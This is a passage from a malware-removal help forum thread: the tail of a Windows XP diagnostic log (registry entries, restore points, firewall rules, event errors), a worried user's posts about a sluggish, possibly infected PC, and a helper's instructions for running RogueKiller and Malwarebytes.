    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{2F0E2680-9FF5-43C0-B76E-114A56E93598}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{320F0FDB-BE0A-4648-9D18-4A2C3448C007}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.79\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{32C3FEAE-0877-4767-8C20-62A5829A0945}\InprocServer32 -> C:\Documents and Settings\Geny\Application Data\Facebook\axfbootloader.dll ( )
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.23.9\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{39125640-8D80-11DC-A2FE-C5C455D89593}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\googletalkax.dll (Google)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{51F9E8EF-59D7-475B-A106-C7EA6F30C119}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{62A0D750-DED9-448C-B693-406B34BB0892}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.145\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{634059C0-D264-4B2C-AE80-F73E48D33E5B}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.123\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{6D7374DE-63AA-473C-8C02-60D9CDCD84C5}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.153\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{91EFB276-CEFE-48EC-BB3A-57795A7B4008}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.149\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{A45426FB-E444-42B2-AA56-419F8FBEEC61}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.22.3\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{A54D478D-4F70-4F72-9A74-17C9986E35AB}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.165\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{AB9F4455-E591-4132-A386-0B91EAEDB96C}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\o1dax.dll (Google)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdat (the data entry has 17 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdat (the data entry has 17 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C5A2122B-A05B-4FD8-AE49-91990AE10998}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.115\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C98FE784-B96E-41e1-8399-1337AE3E539F}\InprocServer32 -> C:\Documents and Settings\Geny\Application Data\Facebook\npfbplugin_1_0_3.dll ( )
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{DB25D157-76D4-41C1-97B5-359E4A4CECEB}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.65\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E67BE843-BBBE-4484-95FB-05271AE86750}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E69341A3-E6D2-4175-B60C-C9D3D6FA40F6}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /wiacallback => No File
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E8CF3E55-F919-49D9-ABC0-948E6CB34B9F}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{EB06378B-ABB6-4B3C-9B40-D488DD8A6E93}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.22.5\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{FB994D36-B312-46CE-A40B-CF63980641F9}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.111\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{FE498BAB-CB4C-4F88-AC3F-3641AAAF5E9E}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.7\psuser.dll => (the data entry has 7 more characters).

    ==================== Restore Points =========================

    ATTENTION: System Restore is disabled
    11-08-2015 08:19:16 System Checkpoint
    12-08-2015 19:11:16 System Checkpoint
    13-08-2015 20:50:20 System Checkpoint
    15-08-2015 04:56:54 System Checkpoint
    16-08-2015 10:11:59 System Checkpoint
    17-08-2015 22:14:54 System Checkpoint
    19-08-2015 19:01:24 System Checkpoint
    19-08-2015 19:44:37 Installed AVG 2015
    19-08-2015 19:46:50 Removed AVG 2015
    20-08-2015 22:39:49 System Checkpoint
    22-08-2015 00:11:19 System Checkpoint
    23-08-2015 08:27:56 System Checkpoint
    24-08-2015 11:32:31 System Checkpoint
    25-08-2015 21:50:40 System Checkpoint
    28-08-2015 01:29:30 System Checkpoint
    30-08-2015 14:45:55 System Checkpoint
    31-08-2015 19:33:19 System Checkpoint
    02-09-2015 06:00:27 System Checkpoint
    03-09-2015 17:15:53 System Checkpoint
    05-09-2015 09:36:26 System Checkpoint
    06-09-2015 09:49:46 System Checkpoint
    09-09-2015 07:32:24 System Checkpoint
    10-09-2015 23:33:00 System Checkpoint
    12-09-2015 05:46:18 System Checkpoint
    13-09-2015 07:47:26 System Checkpoint
    14-09-2015 13:34:10 System Checkpoint
    01-10-2015 08:55:56 System Checkpoint
    03-10-2015 03:58:33 System Checkpoint
    05-10-2015 23:26:54 System Checkpoint
    08-10-2015 06:55:34 System Checkpoint
    09-10-2015 21:37:59 System Checkpoint
    11-10-2015 15:56:23 System Checkpoint
    14-10-2015 01:22:52 System Checkpoint
    15-10-2015 06:38:19 System Checkpoint
    17-10-2015 15:40:51 System Checkpoint
    18-10-2015 16:35:53 System Checkpoint
    19-10-2015 19:24:43 System Checkpoint
    21-10-2015 12:44:41 System Checkpoint
    23-10-2015 01:20:52 System Checkpoint
    24-10-2015 02:19:23 System Checkpoint
    25-10-2015 20:55:19 System Checkpoint
    27-10-2015 07:47:16 System Checkpoint
    28-10-2015 08:52:50 System Checkpoint
    29-10-2015 13:18:35 System Checkpoint
    30-10-2015 22:04:58 System Checkpoint
    01-11-2015 06:58:43 System Checkpoint
    02-11-2015 08:31:36 System Checkpoint
    03-11-2015 06:43:15 Installed AVG 2016
    03-11-2015 06:43:29 Removed AVG 2015
    03-11-2015 06:43:58 Installed AVG
    03-11-2015 06:46:24 Removed AVG 2015
    04-11-2015 08:18:20 System Checkpoint
    05-11-2015 20:17:18 System Checkpoint
    06-11-2015 22:17:10 System Checkpoint
    08-11-2015 12:34:00 System Checkpoint

    ==================== Hosts content: ===============================

    (If needed Hosts: directive could be included in the fixlist to reset Hosts.)

    2008-04-14 05:00 - 2008-04-14 05:00 - 00000734 ____A C:\WINDOWS\system32\Drivers\etc\hosts

    127.0.0.1 localhost

    ==================== Scheduled Tasks (Whitelisted) =============

    (If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003Core.job => C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003UA.job => C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Logon.job => C:\WINDOWS\system32\xp_eos.exe
    Task: C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Monthly.job => C:\WINDOWS\system32\xp_eos.exe

    ==================== Loaded Modules (Whitelisted) ==============

    2010-03-30 13:04 - 2010-03-30 13:03 - 00025088 _____ () C:\WINDOWS\System32\WLTRYSVC.EXE
    2010-03-30 13:04 - 2010-03-30 13:03 - 00757760 _____ () C:\WINDOWS\System32\bcm1xsup.dll
    2015-01-20 22:35 - 2015-01-20 22:35 - 00073544 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
    2015-01-20 22:35 - 2015-01-20 22:35 - 01044776 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
    2010-03-30 13:04 - 2010-03-30 13:03 - 00143360 _____ () C:\WINDOWS\system32\preflib.dll
    2015-11-03 06:40 - 2015-11-03 06:40 - 40500224 _____ () C:\Program Files\AVG\UiDll\2171\libcef.dll
    2008-04-14 05:00 - 2008-04-14 05:00 - 00059904 _____ () C:\WINDOWS\system32\devenum.dll
    2008-04-14 05:00 - 2008-04-14 05:00 - 00014336 _____ () C:\WINDOWS\system32\msdmo.dll
    2015-11-11 12:56 - 2015-11-06 21:36 - 16496456 _____ () C:\Program Files\Google\Chrome\Application\46.0.2490.86\PepperFlash\pepflashplayer.dll

    ==================== Alternate Data Streams (Whitelisted) =========

    (If an entry is included in the fixlist, only the ADS will be removed.)


    ==================== Safe Mode (Whitelisted) ===================

    (If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" value will be restored.)


    ==================== EXE Association (Whitelisted) ===============

    (If an entry is included in the fixlist, the registry item will be restored to default or removed.)


    ==================== Internet Explorer trusted/restricted ===============

    (If an entry is included in the fixlist, it will be removed from the registry.)


    ==================== Other Areas ============================

    (Currently there is no automatic fix for this section.)

    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Control Panel\Desktop\\Wallpaper ->
    DNS Servers: 192.168.0.1 - 205.171.2.65
    Windows Firewall is disabled.

    ==================== MSCONFIG/TASK MANAGER disabled items ==

    (Currently there is no automatic fix for this section.)

    MSCONFIG\startupfolder: C:^Documents and Settings^All Users^Start Menu^Programs^Startup^WD Quick View.lnk => C:\WINDOWS\pss\WD Quick View.lnkCommon Startup
    MSCONFIG\startupreg: Fitbit Connect => "C:\Program Files\Fitbit Connect\Fitbit Connect.exe" /autorun
    MSCONFIG\startupreg: IndxStoreSvr_{79662E04-7C6C-4d9f-84C7-88D8A56B10AA} => "C:\Program Files\Common Files\Nero\Lib\NMIndexStoreSvr.exe" ASO-616B5711-6DAE-4795-A05F-39A1E5104020
    MSCONFIG\startupreg: iTunesHelper => "C:\Program Files\iTunes\iTunesHelper.exe"
    MSCONFIG\startupreg: uTorrent => "C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe" /MINIMIZED

    ==================== FirewallRules (Whitelisted) ===============

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\wlcsdk.exe] => Enabled:Windows Live Call
    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\msnmsgr.exe] => Enabled:Windows Live Messenger
    DomainProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Sync\WindowsLiveSync.exe] => Enabled:Windows Live Sync
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqkygrp.exe] => Enabled:hpqkygrp.exe
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpfcCopy.exe] => Enabled:hpfccopy.exe
    DomainProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpiscnapp.exe] => Enabled:hpiscnapp.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE] => Enabled:Microsoft Office Outlook
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\GROOVE.EXE] => Enabled:Microsoft Office Groove
    StandardProfile\AuthorizedApplications: [C:\Program Files\Microsoft Office\Office12\ONENOTE.EXE] => Enabled:Microsoft Office OneNote
    StandardProfile\AuthorizedApplications: [C:\Program Files\Common Files\Adobe\CS4ServiceManager\CS4ServiceManager.exe] => Enabled:Adobe CSI CS4
    StandardProfile\AuthorizedApplications: [C:\Program Files\Common Files\Adobe\Adobe Version Cue CS4\Server\bin\VersionCueCS4.exe] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\wlcsdk.exe] => Enabled:Windows Live Call
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Messenger\msnmsgr.exe] => Enabled:Windows Live Messenger
    StandardProfile\AuthorizedApplications: [C:\Program Files\Windows Live\Sync\WindowsLiveSync.exe] => Enabled:Windows Live Sync
    StandardProfile\AuthorizedApplications: [C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\googletalkplugin.exe] => Enabled:Google Talk Plugin
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2012\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Documents and Settings\Geny\Application Data\Spotify\spotify.exe] => Enabled:Spotify
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe] => Enabled:hpqtra08.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqste08.exe] => Enabled:hpqste08.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpofxm08.exe] => Enabled:hpofxm08.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hposfx08.exe] => Enabled:hposfx08.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hposid01.exe] => Enabled:hposid01.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqscnvw.exe] => Enabled:hpqscnvw.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqCopy.exe] => Enabled:hpqcopy.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpzwiz01.exe] => Enabled:hpzwiz01.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\Unload\HpqPhUnl.exe] => Enabled:hpqphunl.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\Unload\HpqDIA.exe] => Enabled:hpqdia.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpoews01.exe] => Enabled:hpoews01.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqnrs08.exe] => Enabled:hpqnrs08.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2013\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpqkygrp.exe] => Enabled:hpqkygrp.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpfccopy.exe] => Enabled:hpfccopy.exe
    StandardProfile\AuthorizedApplications: [C:\Program Files\HP\Digital Imaging\bin\hpiscnapp.exe] => Enabled:hpiscnapp.exe
    StandardProfile\AuthorizedApplications: [C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe] => Enabled:µTorrent
    StandardProfile\AuthorizedApplications: [C:\Program Files\Jawbone\JawboneUpdater.exe] => Enabled:JawboneUpdater
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2014\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2014\avgnsx.exe] => Enabled:Online Shield
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2014\avgdiagex.exe] => Enabled:AVG Diagnostics 2014
    StandardProfile\AuthorizedApplications: [C:\Program Files\Bonjour\mDNSResponder.exe] => Enabled:Bonjour Service
    StandardProfile\AuthorizedApplications: [C:\Program Files\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome
    StandardProfile\AuthorizedApplications: [C:\Program Files\iTunes\iTunes.exe] => Enabled:iTunes
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\AVG2015\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgnsx.exe] => Enabled:Online Shield
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgdiagex.exe] => Enabled:AVG Diagnostics
    StandardProfile\AuthorizedApplications: [C:\Program Files\AVG\Av\avgmfapx.exe] => Enabled:AVG Installer
    StandardProfile\AuthorizedApplications: [C:\Program Files\Mozilla Firefox\firefox.exe] => Enabled:'Firefox' (C:\Program Files\Mozilla Firefox)
    DomainProfile\GloballyOpenPorts: [139:TCP] => Enabled:mad:xpsp2res.dll,-22004
    DomainProfile\GloballyOpenPorts: [445:TCP] => Enabled:mad:xpsp2res.dll,-22005
    DomainProfile\GloballyOpenPorts: [137:UDP] => Enabled:mad:xpsp2res.dll,-22001
    DomainProfile\GloballyOpenPorts: [138:UDP] => Enabled:mad:xpsp2res.dll,-22002
    StandardProfile\GloballyOpenPorts: [5353:TCP] => Enabled:Adobe CSI CS4
    StandardProfile\GloballyOpenPorts: [3703:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [3704:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [51000:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [51001:TCP] => Enabled:Adobe Version Cue CS4 Server
    StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22007
    StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22008
    StandardProfile\GloballyOpenPorts: [139:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22004
    StandardProfile\GloballyOpenPorts: [445:TCP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22005
    StandardProfile\GloballyOpenPorts: [137:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22001
    StandardProfile\GloballyOpenPorts: [138:UDP] => :LocalSubNet:Enabled:mad:xpsp2res.dll,-22002

    ==================== Faulty Device Manager Devices =============

    Name: Dell Wireless 1505 Draft 802.11n WLAN Mini-Card
    Description: Dell Wireless 1505 Draft 802.11n WLAN Mini-Card
    Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}
    Manufacturer: Broadcom
    Service: BCM43XX
    Problem: : This device is disabled. (Code 22)
    Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.


    ==================== Event log errors: =========================

    Application errors:
    ==================
    Error: (11/14/2015 06:51:05 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 06:51:05 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 06:51:02 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 06:51:02 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 02:56:23 PM) (Source: .NET Runtime 2.0 Error Reporting) (EventID: 5000) (User: )
    Description: EventType clr20r3, P1 powershell.exe, P2 6.0.5430.0, P3 451acab4, P4 microsoft.powershell.consolehost, P5 1.0.0.0, P6 451ac9ad, P7 1d4, P8 4d, P9 clr20r30, P10 clr20r31.

    Error: (11/14/2015 02:55:54 PM) (Source: .NET Runtime) (EventID: 1023) (User: )
    Description: .NET Runtime version 2.0.50727.3655 - The handle is invalid.

    Error: (11/14/2015 08:09:59 AM) (Source: Application Hang) (EventID: 1002) (User: )
    Description: Hanging application iTunes.exe, version 12.1.2.27, hang module hungapp, version 0.0.0.0, hang address 0x00000000.

    Error: (11/11/2015 10:45:46 PM) (Source: Application Error) (EventID: 1000) (User: )
    Description: Faulting application avgdiagex.exe, version 1.22.1.27494, faulting module unknown, version 0.0.0.0, fault address 0x00eb0003.
    Processing media-specific event for [avgdiagex.exe!ws!]

    Error: (11/11/2015 02:40:22 PM) (Source: Application Error) (EventID: 1000) (User: )
    Description: Faulting application avguix.exe, version 1.22.1.27494, faulting module unknown, version 0.0.0.0, fault address 0x060d0003.
    Processing media-specific event for [avguix.exe!ws!]

    Error: (11/11/2015 02:40:00 PM) (Source: Application Error) (EventID: 1000) (User: )
    Description: Faulting application itunes.exe, version 12.1.2.27, faulting module unknown, version 0.0.0.0, fault address 0x0baf0003.
    Processing media-specific event for [itunes.exe!ws!]


    System errors:
    =============
    Error: (11/14/2015 08:20:04 PM) (Source: DCOM) (EventID: 10005) (User: GENY-380)
    Description: DCOM got error "%%1058" attempting to start the service wuauserv with arguments ""
    in order to run the server:
    {E60687F7-01A1-40AA-86AC-DB1CBF673334}

    Error: (11/14/2015 08:12:24 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/14/2015 08:12:24 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/14/2015 12:11:40 PM) (Source: DCOM) (EventID: 10010) (User: GENY-380)
    Description: The server {D5E8041D-920F-45E9-B8FB-B1DEB82C6E5E} did not register with DCOM within the required timeout.

    Error: (11/14/2015 07:53:19 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
    Description: The HP Support Solutions Framework Service service failed to start due to the following error:
    %%1053

    Error: (11/14/2015 07:53:19 AM) (Source: Service Control Manager) (EventID: 7009) (User: )
    Description: Timeout (30000 milliseconds) waiting for the HP Support Solutions Framework Service service to connect.

    Error: (11/12/2015 09:10:49 PM) (Source: DCOM) (EventID: 10010) (User: GENY-380)
    Description: The server {0002DF01-0000-0000-C000-000000000046} did not register with DCOM within the required timeout.

    Error: (11/12/2015 05:18:02 PM) (Source: DCOM) (EventID: 10010) (User: GENY-380)
    Description: The server {D5E8041D-920F-45E9-B8FB-B1DEB82C6E5E} did not register with DCOM within the required timeout.

    Error: (11/12/2015 03:58:56 PM) (Source: DCOM) (EventID: 10010) (User: GENY-380)
    Description: The server {D5E8041D-920F-45E9-B8FB-B1DEB82C6E5E} did not register with DCOM within the required timeout.

    Error: (11/12/2015 03:40:56 PM) (Source: DCOM) (EventID: 10010) (User: GENY-380)
    Description: The server {D5E8041D-920F-45E9-B8FB-B1DEB82C6E5E} did not register with DCOM within the required timeout.


    ==================== Memory info ===========================

    Processor: Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz
    Percentage of memory in use: 86%
    Total physical RAM: 3035.57 MB
    Available physical RAM: 412.1 MB
    Total Virtual: 4921.12 MB
    Available Virtual: 2286.73 MB

    ==================== Drives ================================

    Drive c: () (Fixed) (Total:232.79 GB) (Free:161.18 GB) NTFS ==>[drive with boot components (Windows XP)]
    Drive d: (Data) (Fixed) (Total:931.51 GB) (Free:615.31 GB) NTFS

    ==================== MBR & Partition Table ==================

    ========================================================
    Disk: 0 (MBR Code: Windows XP) (Size: 232.8 GB) (Disk ID: A42D04A3)
    Partition 1: (Not Active) - (Size=39 MB) - (Type=DE)
    Partition 2: (Active) - (Size=232.8 GB) - (Type=07 NTFS)

    ========================================================
    Disk: 1 (MBR Code: Windows XP) (Size: 931.5 GB) (Disk ID: D1D31A8F)
    Partition 1: (Not Active) - (Size=931.5 GB) - (Type=07 NTFS)

    ==================== End of Addition.txt ============================
     
  3. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    I fear I must have done something wrong with my post because I don't seem to be getting a response like others are. I'm not sure if it is because I'm a newbie and I just need to be more patient or if I didn't follow the steps right. I really don't know what I'm doing. My computer has been sluggish for awhile but then in the past couple days I keep getting these errors. AVG keeps scanning and saying it finds these threats and says it has resolved them but every scan they come up again. My programs freeze and I have to use the task manager to close them. So then I look at the processes running and there are a ton even though all the programs are closed and the CPU usage is at 100% a lot of the time. I've been just turning my computer off because it seems like something is always running but last night I decided to figure out if I could stop some of the processes. I googled why notepad would be running and found this site and it seemed like this was a miracle. I followed the instructions and then unplugged my computer from the internet and have been following my thread from my ipad because now I'm nervous about using my PC. Please help.
     
  4. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Did I mention I didn't know what I'm doing? Cause that's really obvious now. I didn't know how threads work and I see now that the thread with the most recent reply comment comes up to the top and the others have been working on this for a week or so. I'm so sorry. I read the rule to not reply and I was just so nervous and now I'm making it worse. I'll stop and wait. Sorry.
     
  5. Broni

    Broni Malware Annihilator Posts: 52,895   +344

    Welcome aboard [​IMG].

    Please, observe following rules:
    • Read all of my instructions very carefully. Your mistakes during cleaning process may have very serious consequences, like unbootable computer.
    • If you're stuck, or you're not sure about certain step, always ask before doing anything else.
    • Please refrain from running any tools, fixes or applying any changes to your computer other than those I suggest.
    • Never run more than one scan at a time.
    • Keep updating me regarding your computer behavior, good, or bad.
    • The cleaning process, once started, has to be completed. Even if your computer appears to act better, it may still be infected. Once the computer is totally clean, I'll certainly let you know.
    • If you leave the topic without explanation in the middle of a cleaning process, you may not be eligible to receive any more help in malware removal forum.
    • I close my topics if you have not replied in 5 days. If you need more time, simply let me know. If I closed your topic and you need it to be reopened, simply PM me.

    ==============================

    Calm down. You did fine. I'm not here 24/7.

    [​IMG] FRST reports:
    Did you disable system restore for whatever reason?

    [​IMG] Download RogueKiller from one of the following links and save it to your Desktop:

    Link 1
    Link 2
    • Close all the running programs
    • Windows Vista/7/8 users: right click on RogueKiller.exe, click Run as Administrator
    • Otherwise just double-click on RogueKiller.exe
    • Pre-scan will start. Let it finish.
    • Click on SCAN button.
    • Wait until the Status box shows Scan Finished
    • Click on Delete.
    • Wait until the Status box shows Deleting Finished.
    • Click on Report and copy/paste the content of the Notepad into your next reply.
    • RKreport.txt could also be found on your desktop.
    • If more than one log is produced post all logs.
    • If RogueKiller has been blocked, do not hesitate to try a few times more. If really won't run, rename it to winlogon.exe (or winlogon.com) and try again
    [​IMG] Please download Malwarebytes Anti-Malware (MBAM) to your desktop.
